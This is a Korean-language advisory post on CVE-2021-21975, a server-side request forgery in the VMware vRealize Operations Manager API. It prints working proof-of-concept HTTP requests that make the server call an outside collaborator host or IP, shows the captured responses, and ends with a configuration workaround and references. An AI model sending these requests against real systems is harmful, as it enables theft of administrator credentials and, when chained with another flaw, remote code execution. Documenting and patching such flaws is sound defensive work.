[CVE-2021-21975] VMware vRealize Operations Manager API 서버 측 요청 위조(SSRF)

vRealize Operations(vROps)는 퍼블릭 클라우드 모니터링을 통합하면서, 앱부터 인프라까지 AI 기반의 자율적인 IT 운영 관리를 제공하여 VMware Cloud 및 HCI 배포를 최적화, 계획, 확장할 수 있게 해주는 도구입니다. VMware vRealize Operations Manager API 8.4 및 모든 이전 버전은 서버 측 요청 위조(SSRF) 취약점에 영향을 받습니다. 이 취약점을 성공적으로 악용할 경우 내부 리소스를 읽거나 업데이트할 수 있으며, 이 경우 공격자는 vROps 서버의 관리자 자격 증명을 쉽게 탈취할 수 있습니다. CVE-2021-21975와 CVE-2021-21983을 함께 조합하면 공격자는 원격 vRealize Operations 서버에서 임의의 코드를 실행할 수 있습니다.

개념 증명(PoC): 이 취약점을 악용하려면 다음 요청을 사용할 수 있습니다.

POST /casa/nodes/thumbprints HTTP/1.1
Host: vulnerablehost
Content-Type: application/json;charset=UTF-8
Content-Length: 70
Connection: close

[
  "h4mv9d2pleyg06fqvl2o4zif46azyo.burpcollaborator.net/CVE-2021-21975"
]

위 요청에 대한 응답은 아래와 같습니다.

HTTP/1.1 200 200
Date: Fri, 02 Apr 2021 20:59:02 GMT
Server: Apache
X-VSCM-Request-Id: oH006VQB
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 151

[
  {
    "address": "h4mv9d2pleyg06fqvl2o4zif46azyo.burpcollaborator.net/CVE-2021-21975",
    "thumbprint": "<html><body>6xal4bz5uui7c8nzvu368ezjlgz</body></html>"
  }
]

또한 관리자 자격 증명이 Authorization 헤더에 노출됩니다.

기타 개념 증명(PoC): 또는 다음 요청을 사용하여 CVE-2021-21975 VMware vRealize Operations Manager API 서버 측 요청 위조(SSRF) 취약점을 탐지할 수 있습니다.

POST /casa/nodes/thumbprints HTTP/1.1
Host: vulnerablehost
Content-Type: application/json;charset=UTF-8
Content-Length: 37
Connection: close

[
  "78.171.203.41:8000/CVE-2021-21975"
]

HTTP/1.1 200 200
Date: Fri, 02 Apr 2021 21:00:03 GMT
Server: Apache
X-VSCM-Request-Id: oH006VQE
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 67

[
  {
    "address":"78.171.203.41:8000/CVE-2021-21975",
    "thumbprint":null
  }
]

POST /casa/nodes/thumbprints HTTP/1.1
Host: vulnerablehost
Content-Type: application/json;charset=UTF-8
Content-Length: 37
Connection: close

[
  "78.171.203.41:8000"
]

HTTP/1.1 200 200
Date: Fri, 02 Apr 2021 21:00:39 GMT
Server: Apache
X-VSCM-Request-Id: oH006VQJ
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
Strict-Transport-Security: max-age=31536000; includeSubDomains
Content-Security-Policy: default-src https: wss: data: 'unsafe-inline' 'unsafe-eval'; child-src *; worker-src 'self' blob:
X-Frame-Options: SAMEORIGIN
Connection: close
Content-Type: application/json;charset=UTF-8
Content-Length: 52

[
  {
    "address":"78.171.203.41:8000",
    "thumbprint":null
  }
]

해결 방법(Workaround): 패치를 설치할 수 없거나 사용 중인 vRealize Operations 버전에 대한 패치가 없는 경우 다음 단계를 통해 이 문제를 우회할 수 있습니다. 이 해결 방법을 적용해도 vRealize Operations에는 영향이 없습니다.

vRealize Operations에서 이 문제를 해결하려면 casa-security-context.xml에서 구성 줄을 제거하십시오.

SSH 또는 콘솔을 통해 Primary 노드에 root로 로그인합니다. 콘솔에서 로그인할 때는 ALT+F1을 누릅니다.
/usr/lib/vmware-casa/casa-webapp/webapps/casa/WEB-INF/classes/spring/casa-security-context.xml 파일을 엽니다.
다음 줄을 찾아 제거합니다: <sec:http pattern="/nodes/thumbprints" security='none'/>
파일을 저장하고 닫습니다.
다음 명령으로 CaSA 서비스를 재시작합니다: service vmware-casa restart
vRealize Operations 클러스터의 다른 모든 노드에서 1~5단계를 반복합니다.

자세한 내용은 다음 페이지를 방문하십시오.

https://kb.vmware.com/s/article/83210
https://www.vmware.com/security/advisories/VMSA-2021-0004.html
https://f5.pm/go-66465.html

CVE-2021-21975

인기